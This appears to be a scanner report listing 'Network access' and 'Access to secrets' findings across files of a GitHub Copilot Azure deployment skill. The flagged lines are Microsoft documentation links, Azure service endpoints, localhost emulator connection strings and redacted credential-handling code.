  • Network accessline 95
    - [Microsoft Identity Web](https://learn.microsoft.com/en-us/entra/msal/dotnet/microsoft-identity-web/)
  • Network accessline 96
    - [Configure Entra ID auth](https://learn.microsoft.com/en-us/azure/app-service/configure-authentication-provider-aad)

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/dotnet.md

  • Network accessline 37
    {   "AzureAd": {     "Instance": "https://login.microsoftonline.com/",
  • Network accessline 38
    "AzureAd": {     "Instance": "https://login.microsoftonline.com/",     "TenantId": "<tenant-id>",
  • Network accessline 39
    "Instance": "https://login.microsoftonline.com/",

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/nodejs.md

  • Network accessline 19
    const client = jwksClient({   jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 20
    jwksUri: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/discovery/v2.0/keys`,
  • Network accessline 46
    algorithms: ["RS256"],         audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,
  • Network accessline 47
    audience: AUDIENCE,         issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,       },
  • Network accessline 48
    issuer: `https://login.microsoftonline.com/${process.env.AZURE_TENANT_ID}/v2.0`,

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/auth/source/python.md

  • Access to secretsline 28
    [Credential-related source omitted]
  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 30
    # Use APP_ID_URI if set (e.g., "api://<client-id>"); fall back to CLIENT_ID AUDIENCE = os.environ.get("AZURE_APP_ID_URI", CLIENT_ID) JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Access to secretsline 31
    [Credential-related source omitted]
  • Network accessline 32
    JWKS_URL = f"https://login.microsoftonline.com/{TENANT_ID}/discovery/v2.0/keys"
  • Network accessline 42
    algorithms=["RS256"],             audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",
  • Network accessline 43
    audience=AUDIENCE,             issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",         )
  • Network accessline 44
    issuer=f"https://login.microsoftonline.com/{TENANT_ID}/v2.0",

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/README.md

  • Network accessline 33
    | Setting | Value | Purpose | |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 34
    |---------|-------|---------| | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint | | `COSMOS_DATABASE_NAME` | `app-db` | Target database |
  • Network accessline 35
    | `COSMOS_ENDPOINT` | `https://{account}.documents.azure.com:443/` | Cosmos account endpoint |
  • Network accessline 87
    - [Cosmos DB + App Service tutorial](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/tutorial-dotnet-web-app)
  • Network accessline 88
    - [Passwordless Cosmos DB connections](https://learn.microsoft.com/en-us/azure/cosmos-db/nosql/how-to-dotnet-get-started)
  • Network accessline 89
    - [Cosmos DB RBAC](https://learn.microsoft.com/en-us/azure/cosmos-db/how-to-setup-rbac)

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/cosmos/source/python.md

  • Access to secretsline 24
    [Credential-related source omitted]
  • Access to secretsline 25
    [Credential-related source omitted]
  • Access to secretsline 26
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/redis/README.md

  • Network accessline 84
    - [Azure Cache for Redis overview](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-overview)
  • Network accessline 85
    - [Use Entra ID with Redis](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-azure-active-directory-for-authentication)
  • Network accessline 86
    - [Redis + App Service tutorial](https://learn.microsoft.com/en-us/azure/azure-cache-for-redis/cache-web-app-howto)

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/nodejs.md

  • Network accessline 19
    const credential = new DefaultAzureCredential(); const TOKEN_SCOPE = "https://redis.azure.com/.default";
  • Network accessline 20
    const TOKEN_SCOPE = "https://redis.azure.com/.default";

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/redis/source/python.md

  • Network accessline 25
    # Redis ACL auth requires both username and token as password _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Network accessline 26
    _REDIS_USERNAME = "default" _TOKEN_SCOPE = "https://redis.azure.com/.default" _TOKEN_REFRESH_MARGIN = 300  # Refresh 5 minutes before expiry
  • Network accessline 27
    _TOKEN_SCOPE = "https://redis.azure.com/.default"
  • Access to secretsline 49
    [Credential-related source omitted]
  • Access to secretsline 50
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/sql/README.md

  • Network accessline 79
    - [Azure SQL passwordless connections](https://learn.microsoft.com/en-us/azure/azure-sql/database/azure-sql-passwordless-migration)
  • Network accessline 80
    - [EF Core with Azure SQL](https://learn.microsoft.com/en-us/ef/core/providers/sql-server/)
  • Network accessline 81
    - [Tutorial: App Service with SQL](https://learn.microsoft.com/en-us/azure/app-service/tutorial-dotnetcore-sqldb-app)

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/nodejs.md

  • Access to secretsline 96
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/recipes/sql/source/python.md

  • Access to secretsline 37
    [Credential-related source omitted]
  • Access to secretsline 44
    [Credential-related source omitted]
  • Access to secretsline 45
    [Credential-related source omitted]
  • Access to secretsline 46
    [Credential-related source omitted]
  • Network accessline 61
    [Credential-related source omitted]
  • Network accessline 62
    [Credential-related source omitted]
  • Network accessline 63
    [Credential-related source omitted]
  • Access to secretsline 66
    [Credential-related source omitted]
  • Access to secretsline 140
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/selection.md

  • Network accessline 7
    Cross-reference with [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview) and [official AZD gallery templates](https://azure.github.io/awesome-azd/?tags=appservice).

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/web-api.md

  • Network accessline 15
    **Browse all:** [Awesome AZD App Service](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 179
    - [App Service overview](https://learn.microsoft.com/en-us/azure/app-service/overview)
  • Network accessline 180
    - [App Service best practices](https://learn.microsoft.com/en-us/azure/app-service/app-service-best-practices)
  • Network accessline 181
    - [Health check](https://learn.microsoft.com/en-us/azure/app-service/monitor-instances-health-check)

harness/github-copilot/skills/azure-prepare/references/services/app-service/templates/web-app.md

  • Network accessline 14
    **Browse all:** [Awesome AZD](https://azure.github.io/awesome-azd/?tags=appservice)
  • Network accessline 106
    ALLOWED_HOSTS = ['.azurewebsites.net', 'localhost'] STATIC_ROOT = BASE_DIR / 'staticfiles' CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 108
    CSRF_TRUSTED_ORIGINS = ['https://*.azurewebsites.net']
  • Network accessline 179
    - [Deploy to App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-dotnetcore)
  • Network accessline 180
    - [Node.js on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-nodejs)
  • Network accessline 181
    - [Python on App Service](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python)

harness/github-copilot/skills/azure-prepare/references/services/container-apps/day2-operations.md

  • Network accessline 113
    [Credential-related source omitted]
  • Network accessline 114
    [Credential-related source omitted]
  • Network accessline 115
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/container-apps/environment.md

  • Network accessline 25
    {       name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'
  • Network accessline 26
    name: 'database-url'       keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'       identity: managedIdentity.id
  • Network accessline 27
    keyVaultUrl: 'https://myvault.vault.azure.net/secrets/database-url'

harness/github-copilot/skills/azure-prepare/references/services/container-apps/terraform.md

  • Network accessline 157
    output "api_url" {   value = "https://${azurerm_container_app.api.ingress[0].fqdn}"
  • Network accessline 158
    value = "https://${azurerm_container_app.api.ingress[0].fqdn}"

harness/github-copilot/skills/azure-prepare/references/services/cosmos-db/sdk.md

  • Access to secretsline 26
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/README.md

  • Network accessline 28
    # Start the emulator (see https://mcr.microsoft.com/v2/dts/dts-emulator/tags/list for available versions)
  • Network accessline 32
    # Dashboard available at http://localhost:8082
  • Network accessline 49
    | Environment | Connection String | |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 50
    |-------------|-------------------| | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` | | Azure (System-Assigned MI) | `Endpoint=https://<scheduler>.durabletask.io;Authentication=ManagedId
  • Network accessline 51
    | Local Development (Emulator) | `Endpoint=http://localhost:8080;Authentication=None;TaskHub=default` |
  • Network accessline 72
    - [JavaScript](javascript.md) — packages, setup, examples, determinism, retry, SDK - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durab
  • Network accessline 73
    - [Bicep Patterns](bicep.md) — scheduler, task hub, RBAC, CLI provisioning - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler) - [Durable Functions Overview](ht
  • Network accessline 74
    - [Official Documentation](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/durable-task-scheduler)
  • Network accessline 75
    - [Durable Functions Overview](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview)
  • Network accessline 76
    - [Sample Repository](https://github.com/Azure-Samples/Durable-Task-Scheduler)
  • Network accessline 77
    - [Choosing an Orchestration Framework](https://learn.microsoft.com/azure/azure-functions/durable/durable-task-scheduler/choose-orchestration-framework)

harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/bicep.md

  • Network accessline 65
    To allow developers to view orchestration status and history in the [DTS dashboard](https://portal.azure.com), assign the same `Durable Task Data Contributor` role to the deploying user's identity. Without this, the dashboard returns **403 
  • Network accessline 82
    > **💡 TIP**: This is the same role used for the Function App's managed identity, but assigned with `principalType: 'User'` to the developer. See the [sample repo](https://github.com/Azure-Samples/Durable-Task-Scheduler/blob/main/samples/inf
  • Network accessline 100
    > **⚠<U+FE0F> WARNING**: Always use `scheduler.properties.endpoint` to get the scheduler URL. Do **not** construct it manually — the endpoint includes a hash suffix and region (e.g., `https://myscheduler-abc123.westus2.durabletask.io`).

harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/dotnet.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions .NET isolated worker guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-dotnet-isolated-overview)
  • Network accessline 20
    > **💡 Finding latest versions**: Search [nuget.org](https://www.nuget.org/) for each package name to find the current stable version. Look for the `Microsoft.Azure.Functions.Worker.Extensions.DurableTask` and `Microsoft.Azure.Functions.Work
  • Network accessline 47
    "FUNCTIONS_WORKER_RUNTIME": "dotnet-isolated",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 48
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 49
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    var connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/java.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Java guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=java)
  • Network accessline 27
    > **💡 Finding latest versions**: Search [Maven Central](https://central.sonatype.com/) for `durabletask-azure-functions` (group: `com.microsoft`) to find the current stable version.
  • Network accessline 56
    "FUNCTIONS_WORKER_RUNTIME": "java",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 57
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 58
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 204
    public class App {     public static void main(String[] args) throws Exception {         String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";
  • Network accessline 206
    String connectionString = "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None";

harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/javascript.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions JavaScript guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=javascript)
  • Network accessline 21
    > **💡 Finding latest versions**: Run `npm view durable-functions version` or check [npmjs.com/package/durable-functions](https://www.npmjs.com/package/durable-functions) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "node",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 179
    const connectionString = "Endpoint=http://localhost:8080;Authentication=None;TaskHub=default";

harness/github-copilot/skills/azure-prepare/references/services/durable-task-scheduler/python.md

  • Network accessline 5
    - [Durable Task Scheduler documentation](https://learn.microsoft.com/azure/durable-task-scheduler/)
  • Network accessline 6
    - [Durable Functions Python guide](https://learn.microsoft.com/azure/azure-functions/durable/durable-functions-overview?tabs=python)
  • Network accessline 19
    > **💡 Finding latest versions**: Run `pip index versions azure-functions-durable` or check [pypi.org/project/azure-functions-durable](https://pypi.org/project/azure-functions-durable/) for the latest stable release.
  • Network accessline 50
    "FUNCTIONS_WORKER_RUNTIME": "python",     "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 51
    "AzureWebJobsStorage": "UseDevelopmentStorage=true",     "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"   }
  • Network accessline 52
    "DURABLE_TASK_SCHEDULER_CONNECTION_STRING": "Endpoint=http://localhost:8080;TaskHub=default;Authentication=None"
  • Network accessline 194
    async def main():     with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",
  • Network accessline 195
    with DurableTaskSchedulerWorker(         host_address="http://localhost:8080",         secure_channel=False,
  • Network accessline 196
    host_address="http://localhost:8080",
  • Network accessline 205
    from durabletask.azuremanaged.client import DurableTaskSchedulerClient         client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",
  • Network accessline 206
    client = DurableTaskSchedulerClient(             host_address="http://localhost:8080",             taskhub="default",
  • Network accessline 207
    host_address="http://localhost:8080",

harness/github-copilot/skills/azure-prepare/references/services/event-grid/bicep.md

  • Access to secretsline 51
    [Credential-related source omitted]
  • Access to secretsline 69
    [Credential-related source omitted]
  • Access to secretsline 70
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/event-grid/subscriptions.md

  • Network accessline 11
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 12
    properties: {         endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'       }
  • Network accessline 13
    endpointUrl: 'https://my-api.azurecontainerapps.io/webhooks/orders'
  • Network accessline 36
    endpointType: 'WebHook'   properties: {     endpointUrl: 'https://my-api.example.com/events'
  • Network accessline 37
    properties: {     endpointUrl: 'https://my-api.example.com/events'   }
  • Network accessline 38
    endpointUrl: 'https://my-api.example.com/events'

harness/github-copilot/skills/azure-prepare/references/services/foundry/region-availability.md

  • Network accessline 15
    > Check https://learn.microsoft.com/azure/ai-services/openai/concepts/models for current model availability.

harness/github-copilot/skills/azure-prepare/references/services/functions/README.md

  • Network accessline 65
    > Do NOT use hardcoded versions. Query for latest GA versions before generating code: > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 66
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 67
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) > > Use the azure-documentation MCP tool to fetch current supported versions:

harness/github-copilot/skills/azure-prepare/references/services/functions/bicep.md

  • Network accessline 86
    runtime: {         name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages
  • Network accessline 87
    name: 'python'  // or 'node', 'dotnet-isolated'         version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages       }
  • Network accessline 88
    version: '<version>'  // Query latest GA: https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/README.md

  • Network accessline 112
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 115
    > ⚠<U+FE0F> **If manifest fetch fails** (any error): > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 116
    > 1. Fall back to the source manifest at `https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json`
  • Network accessline 127
    | `resource` | Trigger type (see [selection.md](selection.md)) | `http`, `cosmos`, `timer`, `eventhub`, `servicebus`, `blob`, `sql`, `mcp`, `durable` | | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo w
  • Network accessline 128
    | `iac` | Infrastructure type | `bicep`, `terraform` | | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` | | `folderPath` | Path within repo | `.` or `src/api` |
  • Network accessline 129
    | `repositoryUrl` | GitHub repo with complete project | `https://github.com/Azure-Samples/functions-quickstart-python-http-azd` |
  • Network accessline 139
    GET https://github.com/{owner}/{repo}/archive/refs/heads/main.zip
  • Network accessline 146
    1. GET https://api.github.com/repos/{owner}/{repo}/git/trees/main?recursive=1
  • Network accessline 147
    2. Filter tree entries where path starts with {folderPath}/ 3. For each file:    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 149
    GET https://raw.githubusercontent.com/{owner}/{repo}/main/{path}
  • Network accessline 181
    **Browse all:** [Awesome AZD Functions](https://azure.github.io/awesome-azd/?tags=functions)

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/base/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language × trigger eval requires ~5 min of agent runtime. Full matrix (6 languages × 9 triggers) = ~4.5 hours of CI. Python is verified end-to-end; other languages are confirmed available in the [functions temp

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/README.md

  • Network accessline 28
    See [Blob Storage trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-storage-blob-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed 

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/blob-eventgrid/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/composition.md

  • Network accessline 47
    1. FETCH MANIFEST    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json
  • Network accessline 48
    GET https://cdn.functions.azure.com/public/templates-manifest/manifest.json    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json    If both fail → 
  • Network accessline 49
    If fetch fails → fall back to: https://github.com/Azure/azure-functions-templates/blob/dev/Functions.Templates/Template-Manifest/manifest.json
  • Network accessline 224
    > ⚠<U+FE0F> **ALWAYS QUERY OFFICIAL DOCUMENTATION** — Do NOT use hardcoded versions. > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)
  • Network accessline 225
    > > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages) >
  • Network accessline 226
    > **Primary Source:** [Azure Functions Supported Languages](https://learn.microsoft.com/en-us/azure/azure-functions/supported-languages)

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/README.md

  • Network accessline 27
    See [Cosmos DB trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-cosmosdb-v2-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/cosmosdb/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/durable/README.md

  • Network accessline 34
    The identity must have the **Durable Task Data Contributor** role on the scheduler or task hub resource. See [DTS identity auth](https://learn.microsoft.com/en-us/azure/durable-task/scheduler/durable-task-scheduler-identity) for identity-ba

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/durable/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). PowerShell has no

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/README.md

  • Network accessline 21
    See [Event Hubs trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-event-hubs-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed iden

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/eventhubs/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/mcp/README.md

  • Network accessline 17
    See [MCP Specification](https://modelcontextprotocol.io/) for protocol details.
  • Network accessline 31
    See [MCP extension trigger and bindings](https://learn.microsoft.com/azure/azure-functions/functions-bindings-mcp) for extension-based servers, [Self-hosted MCP servers](https://learn.microsoft.com/en-us/azure/azure-functions/self-hosted-mc

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/mcp/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). JavaScript and Po

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/README.md

  • Network accessline 26
    See [Service Bus trigger connections](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-service-bus-trigger#connections) for identity-based config — refer to the **"Connections"** section on that page for managed id

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/servicebus/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/sql/README.md

  • Network accessline 45
    See [SQL managed identity](https://learn.microsoft.com/en-us/azure/azure-functions/functions-identity-access-azure-sql-with-managed-identity) for identity-based config — refer to the **"Configure the function app"** section for connection s

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/sql/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Java, JavaScript,

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/timer/README.md

  • Network accessline 22
    > Azure uses 6-part cron expressions (with seconds). See [Azure Functions timer trigger](https://learn.microsoft.com/en-us/azure/azure-functions/functions-bindings-timer#ncrontab-expressions) for full syntax reference.

harness/github-copilot/skills/azure-prepare/references/services/functions/templates/recipes/timer/eval/summary.md

  • Network accessline 14
    > ⚠<U+FE0F> **Eval cost note:** Each language eval requires ~5 min of agent runtime. Python is verified end-to-end; other languages confirmed in [manifest](https://cdn.functions.azure.com/public/templates-manifest/manifest.json). Multi-language ev

harness/github-copilot/skills/azure-prepare/references/services/functions/terraform.md

  • Network accessline 173
    > 💡 **Example Reference:** [HashiCorp Flex Consumption Example](https://registry.terraform.io/modules/Azure/avm-res-web-site/azurerm/latest/examples/flex_consumption)

harness/github-copilot/skills/azure-prepare/references/services/key-vault/README.md

  • Network accessline 39
    | Variable | Value | |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |
  • Network accessline 40
    |----------|-------| | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` | | `KEY_VAULT_NAME` | Vault name |
  • Network accessline 41
    | `KEY_VAULT_URL` | `https://{vault-name}.vault.azure.net/` |

harness/github-copilot/skills/azure-prepare/references/services/key-vault/sdk.md

  • Access to secretsline 29
    [Credential-related source omitted]
  • Network accessline 59
    endpointType: 'WebHook'       properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'
  • Network accessline 60
    properties: {         endpointUrl: 'https://my-api.example.com/secret-rotation'       }
  • Network accessline 61
    endpointUrl: 'https://my-api.example.com/secret-rotation'

harness/github-copilot/skills/azure-prepare/references/services/logic-apps/bicep.md

  • Network accessline 10
    state: 'Enabled'     definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'
  • Network accessline 11
    definition: {       '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'       contentVersion: '1.0.0.0'
  • Network accessline 12
    '$schema': 'https://schema.management.azure.com/providers/Microsoft.Logic/schemas/2016-06-01/workflowdefinition.json#'

harness/github-copilot/skills/azure-prepare/references/services/logic-apps/triggers.md

  • Network accessline 69
    "inputs": {       "method": "POST",       "uri": "https://api.example.com/orders",
  • Network accessline 70
    "method": "POST",       "uri": "https://api.example.com/orders",       "headers": {
  • Network accessline 71
    "uri": "https://api.example.com/orders",

harness/github-copilot/skills/azure-prepare/references/services/service-bus/patterns.md

  • Access to secretsline 57
    [Credential-related source omitted]
  • Access to secretsline 130
    [Credential-related source omitted]

harness/github-copilot/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.ps1

  • Executable scriptline 1
    Executable file
  • Network accessline 78
    if (-not (Get-Command sqlcmd -ErrorAction SilentlyContinue)) {     Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."
  • Network accessline 79
    Write-Error "'sqlcmd' is not installed or not on PATH."     Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."     exit 1
  • Network accessline 80
    Write-Error "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry."

harness/github-copilot/skills/azure-prepare/references/services/sql-database/scripts/grant-sql-access.sh

  • Executable scriptline 1
    #!/bin/bash
  • Network accessline 85
    if ! command -v sqlcmd >/dev/null 2>&1; then   echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2
  • Network accessline 86
    echo "ERROR: 'sqlcmd' is not installed or not on PATH." >&2   echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2   exit 1
  • Network accessline 87
    echo "Install the modern go-sqlcmd from https://github.com/microsoft/go-sqlcmd and retry." >&2

harness/github-copilot/skills/azure-prepare/references/services/sql-database/sdk.md

  • Network accessline 30
    [Credential-related source omitted]
  • Network accessline 31
    [Credential-related source omitted]
